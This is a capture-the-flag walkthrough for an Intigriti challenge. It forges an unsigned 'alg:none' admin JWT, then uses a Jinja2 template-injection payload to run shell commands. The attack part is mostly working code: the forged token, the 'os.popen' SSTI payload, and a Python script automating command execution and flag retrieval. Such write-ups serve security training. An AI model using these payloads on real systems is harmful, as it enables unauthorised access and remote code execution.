# Intigriti Challenge 1125 Walkthrough: JWT Forgery → Jinja2 SSTI → RCE ## Challenge Introduction Welcome to the AquaCommerce CTF (Intigriti November 2025). The target storefront runs at `https://challenge-1125.intigriti.io/browse`. Goal: achieve remote code execution on the server, no sandbox, no user interaction, and extract the flag. --- ## Step 1: Recon & Session Handling Browsing the public pages reveals only static content (browse/shop/cart). No obvious inputs except login/register. Registering any account (e.g., `ctfer:Passw0rd!`) produces two cookies: - `session` – shopping-cart data - `token` – JWT that manages authentication/role Example decoded JWT: ```json { "header": {"alg": "HS256", "typ": "JWT"}, "payload": {"user_id": 457, "username": "tester123", "role": "user", "exp": 1763471696} } ``` --- ## Step 2: Weak JWT Validation Testing showed the application accepts unsigned tokens. Generate an “alg:none” JWT with admin claims: ```text Header: {"alg":"none","typ":"JWT"} Payload: {"user_id":1,"username":"admin","role":"admin","exp":<future timestamp>} Token: eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4iLCAiZXhwIjogMTc2MzM4NzQwNX0. ``` Set this value as the `token` cookie and reload `/admin`. The dashboard, user/order/product listings, and profile editor become accessible even though we never knew the real admin password. --- ## Step 3: Hunting for Code Execution Surface Admin pages are mostly static, but `/admin/profile` exposes an input: “Display Name”. Submitting `{{7*7}}` causes the page to display **49** as the “Current Display Name” while the form still shows the literal payload. That confirms server-side template injection (likely Jinja2). --- ## Step 4: From SSTI to RCE Jinja2’s object graph lets us reach Python’s standard library: ``` {{ cycler.__init__.__globals__['os'].popen('id').read() }} ``` Posting the above as `display_name` makes the profile page render the output of `id`, e.g.: ``` uid=999(appuser) gid=999(appuser) groups=999(appuser) ``` At this point we have arbitrary command execution as the web user. ### Helper Script ```python # ssti_rce.py import requests, base64, json, time, re def make_admin_session(): b64 = lambda d: base64.urlsafe_b64encode(json.dumps(d).encode()).decode().rstrip('=') token = b64({"alg":"none","typ":"JWT"}) # header token += '.' + b64({"user_id":1,"username":"admin","role":"admin","exp":int(time.time())+600}) + '.' s = requests.Session() s.cookies.set('token', token, domain='challenge-1125.intigriti.io') return s def run_cmd(cmd): s = make_admin_session() payload = "{{ cycler.__init__.__globals__['os'].popen('%s').read() }}" % cmd s.post('https://challenge-1125.intigriti.io/admin/profile', data={'display_name': payload}) resp = s.get('https://challenge-1125.intigriti.io/admin/profile') match = re.search(r"Current Display Name</label>\s*<div[^>]*>\s*<p[^>]*>(.*?)<", resp.text, re.S) print(match.group(1).strip() if match else "no output") if __name__ == "__main__": run_cmd('id') ``` Running `run_cmd('id')` prints the same result as the manual test. --- ## Step 5: Locating the Flag Use the RCE to enumerate files: ``` run_cmd('find /app -name flag\\* 2>/dev/null') ``` Or simply search for the flag format: ``` run_cmd("grep -R INTIGRITI /app 2>/dev/null") ``` This revealed: ``` /app/.aquacommerce/019a82cf.txt:INTIGRITI{019a82cf-ca32-716f-8291-2d0ef30bea32} ``` Finally: ``` run_cmd("cat /app/.aquacommerce/019a82cf.txt") ``` → `INTIGRITI{019a82cf-ca32-716f-8291-2d0ef30bea32}` --- ## Conclusion By chaining a weak JWT implementation with an unescaped Jinja template, we achieved full RCE on AquaCommerce’s challenge instance and captured the required flag.